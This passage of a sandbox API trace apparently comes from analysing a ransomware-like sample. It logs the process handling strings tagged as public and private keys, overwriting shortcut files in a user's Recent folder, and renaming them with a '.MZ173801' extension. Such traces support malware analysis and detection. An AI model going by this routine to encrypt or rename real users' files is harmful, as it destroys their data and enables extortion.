lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.734] GetCurrentThreadId () returned 0xab4 [0152.734] GetCurrentThreadId () returned 0xab4 [0152.774] GetCurrentThreadId () returned 0xab4 [0152.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.774] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.774] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.774] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x43f [0152.774] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.774] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x43f, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x43f, lpOverlapped=0x0) returned 1 [0152.775] CloseHandle (hObject=0x280) returned 1 [0152.775] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.779] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x43f, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x43f, lpOverlapped=0x0) returned 1 [0152.780] CloseHandle (hObject=0x280) returned 1 [0152.804] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XIPVtvqfodb6mWbl.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xipvtvqfodb6mwbl.lnk.mz173801")) returned 1 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] GetCurrentThreadId () returned 0xab4 [0152.805] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4135919, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4135919, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4135919, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XsWSFfkpZ7NjwRf.lnk", cAlternateFileName="XSWSFF~1.LNK")) returned 1 [0152.805] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.805] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4135919, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4135919, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4135919, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2a1)) returned 1 [0152.805] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk")) returned 0x20 [0152.805] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk", dwFileAttributes=0x80) returned 1 [0152.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.809] GetCurrentThreadId () returned 0xab4 [0152.809] GetCurrentThreadId () returned 0xab4 [0152.809] GetCurrentThreadId () returned 0xab4 [0152.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.810] GetCurrentThreadId () returned 0xab4 [0152.810] GetCurrentThreadId () returned 0xab4 [0152.810] GetCurrentThreadId () returned 0xab4 [0152.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.810] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.810] SetFilePointer (in: 